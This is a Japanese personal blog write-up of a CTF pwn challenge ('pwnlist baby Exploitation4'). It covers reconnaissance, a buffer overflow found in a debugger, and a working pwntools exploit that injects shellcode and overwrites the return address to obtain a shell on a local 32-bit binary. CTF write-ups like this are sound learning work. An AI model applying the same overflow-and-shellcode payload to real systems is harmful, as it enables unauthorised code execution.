mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby Exploitation4

下調べ

mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation4$ file miteegashun | sed -e "s/,/\n/g"
miteegashun: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 statically linked
 for GNU/Linux 2.6.24
 BuildID[sha1]=41bbe92f629cbca9784458456d94282b2d2fd9e0
 stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation4$ checksec.sh --file miteegashun 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   miteegashun

解析

実行ファイルを起動すると入力を求められる.
いっぱい入力してみると,プログラムが落ちる.

Welcome to this demo of my exploit mitigation
This mitigation is unbeatable, prove me wrong
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation fault (コアダンプ)

デバッガで見てみるとバッファオーバーフローしていることがわかる.

[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x0 
ECX: 0x3 
EDX: 0x80f04e1 ('A' <repeats 200 times>...)
ESI: 0x0 
EDI: 0x8049770 (push   ebx)
EBP: 0x41414141 ('AAAA')
ESP: 0x80f0444 ('A' <repeats 200 times>...) # ESPが入力AAA...で上書きされている.
EIP: 0x8048f50 (ret)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f48:	lea    edx,[edx+ecx*4]
   0x8048f4b:	mov    eax,DWORD PTR [edx]
   0x8048f4d:	mov    DWORD PTR [esp],eax
=> 0x8048f50:	ret    
   0x8048f51:	mov    eax,DWORD PTR [esp]
   0x8048f54:	mov    ecx,DWORD PTR ds:0x80f0669
   0x8048f5a:	mov    edx,0x80f04d5
   0x8048f5f:	lea    edx,[edx+ecx*4]
[------------------------------------stack-------------------------------------]

入力から処理を追っていくと,どうやら入力した値を.data領域の変数にコピーしているらしい.
しかし,コピーの際に変数の大きさ以上にコピーできるため,リターンアドレスの書き換えが可能.

リターンアドレスはedx(0x80f04e1)であるから,入力データを格納する変数のアドレス(0x80f0340)との差は417.
つまり417文字以降の入力でリターンアドレスを書き換えられる.
入力データを格納する変数のアドレスはわかっているからあとは入力にシェルコードを積んで実行するだけ.

Exploit

#~/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct
import time

#context.log_level = 'debug'

conn = process('./miteegashun')
data_addr = 0x80f0340

shellcode = asm(shellcraft.sh())

payload = shellcode
payload += "A" * (417 - len(shellcode))
payload += p32(data_addr)
payload += "\n"

conn.recv()
conn.send(payload)
conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation4$ python exploit.py 
[+] Starting local process './miteegashun': pid 11479
[*] Switching to interactive mode
$ ls
core  exploit.py   peda-crashdump-miteegashun.txt  strings
dump  miteegashun  peda-session-miteegashun.txt